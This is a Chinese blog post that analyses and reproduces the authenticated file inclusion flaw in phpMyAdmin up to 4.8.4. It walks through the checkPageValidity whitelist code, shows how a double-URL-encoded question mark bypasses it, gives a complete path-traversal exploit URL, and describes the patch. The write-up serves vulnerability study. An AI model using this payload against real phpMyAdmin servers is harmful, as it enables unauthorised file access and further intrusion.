zoukankan      html  css  js  c++  java
  • phpmyadmin<=4.8.4 后台文件包含分析与复现

    首先还是函数介绍

    函数介绍
    $_REQUEST['target']
    和$_get $_POST的不必多说
    我们主要看这个函数
    mb_substr()
    $string = "0123456789你好";
    /** start > 0  length > 0*/
    $mystring = mb_substr( $string, 5, 1 );
    echo $mystring . PHP_EOL; // 5
    $mystring = mb_substr( $string, 5, 2 );
    echo $mystring . PHP_EOL; // 56
    $mystring = mb_substr( $string, 10, 2 );
    echo $mystring . PHP_EOL; // 你好
    
    
    和函数mb_strpos
    $str = "Hello World! Hello PHP";
    $pos = mb_strpos( $str, "Hello", 0, mb_internal_encoding() );
    echo $pos . PHP_EOL;//0
    $pos = mb_strpos( $str, "Hello", 2, mb_internal_encoding() );
    echo $pos . PHP_EOL;//13
    
    $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
    从上面的分析不难看出这段代码的意思就是截取?page问号之前的长度也就是什么.php拿来和witelist对比 一个urlcode造成了此次车祸的现场
    

     好的我们来看到index.php的代码

     这里出现了include $_REQUEST['target'];这里代码量太少了没必要动态调试

    直接跟进看如何传入的target  看到了这五个条件

    if (! empty($_REQUEST['target']) //target不为空
        && is_string($_REQUEST['target'])//target是字符
        && ! preg_match('/^index/', $_REQUEST['target'])//以index开头的target参数也就是index.php后面dtarget
        && ! in_array($_REQUEST['target'], $target_blacklist) //taget不在黑名单里面
        && Core::checkPageValidity($_REQUEST['target'])//这里调用了checkpage方法 我们跟进看一下方法 必须返回ture
    ) {
    

    我们继续跟进方法 看到这里定义了 进去看看

    public static function checkPageValidity(&$page, array $whitelist = [])
        {
            if (empty($whitelist)) {
                $whitelist = self::$goto_whitelist; //判断白名单是否为空空的话我们把他设置为上面定义了的
            }
            if (! isset($page) || !is_string($page)) {
                return false; //page是string这个很简单
            }
    
            if (in_array($page, $whitelist)) {
                return true; //page再白名单这个也很简单
            }
    
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?') //这两个函数上面介绍了 不多说
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    
            $_page = urldecode($page); //这里是inculde的关键 在于url编码后可以rao'g
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?') 
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    
            return false;
        }
    

    不难看出这里有三种方式返回Ture

    第一种
    {
            if (empty($whitelist)) {
                $whitelist = self::$goto_whitelist;
            }
            if (! isset($page) || !is_string($page)) {
                return false;
            }
    
            if (in_array($page, $whitelist)) {
                return true;
            }
    直接取整个target的值判断是否在白名单 我们想包含的的话只能写成
    比如想包含i.txt 在同级目录下面
    那么我们写成i。txt
    target=i.txt 显然不在wiletlist里面所以这种True不可取
    
    第二种
    $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    取target=sql.php?问好前面的值sql.php判断是否在白名单内 如果在就返回Ture
    那么我们只能构造sql.php?。。/。。/。。/i.txt 显然include("sql.php?../../../");是错误的语法不可以取
    
    那么我们看到第三种
    $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    
            return false;
        }
    只是执行了一个urldecode
    其他没变
    那么机会来了 %3f也是问号啊
    我们传入sql.php%3f。。/。。/。。/i.txt这样include("sql.php%3f../../../")是能够执行的而且判断白名单也是在urldecode后判断的 那么我们的payload就出来了
    

     构造payload 失败了 why?

    (withlist里面的任意文件)%3f。。/。。/。。/。。/1.txt
    

     

     浏览器理所当然的要进行url编码一次 so 我们构造

    http://www.zhong.com/1/1/index.php?target=pdf_schema.php%253f../../../../../../../../../../../../../../../phpstudy_proWWW1.txt
    

     执行成功

    我们来对比一下补丁文件

     这里再后面加了两个参数 第三个参数为True 跟进方法看一下

    相当于后面的废除了 这里写死了inculde=true 就是不让你执行后面两种true的方法了  

    文献参考

    https://xz.aliyun.com/t/5534
    https://www.php.net/mb_substr
    https://www.runoob.com/php/func-string-mb_substr.html
  • 相关阅读:
    20165336 2017-2018-2《Java程序设计》课程总结
    2017-2018-2 20165336 实验五《网络编程与安全》实验报告
    2017-2018-2 20165336 实验四《Android开发基础》实验报告
    2018-2019-1 20165314 《信息安全系统设计基础》第四周学习总结
    2018-2019-1 20165314 《信息安全系统设计基础》第三周学习总结
    2018-2019-1 20165314《信息安全系统设计基础》实验一 缓冲区溢出漏洞实验
    20165314 [第二届构建之法论坛] 预培训心得(Java版)
    20165314 2017-2018-2《Java程序设计》课程总结
    20165314实验五《网络编程与安全》实验报告
    20165314实验四
  • 原文地址:https://www.cnblogs.com/-zhong/p/12411728.html
Copyright © 2011-2022 走看看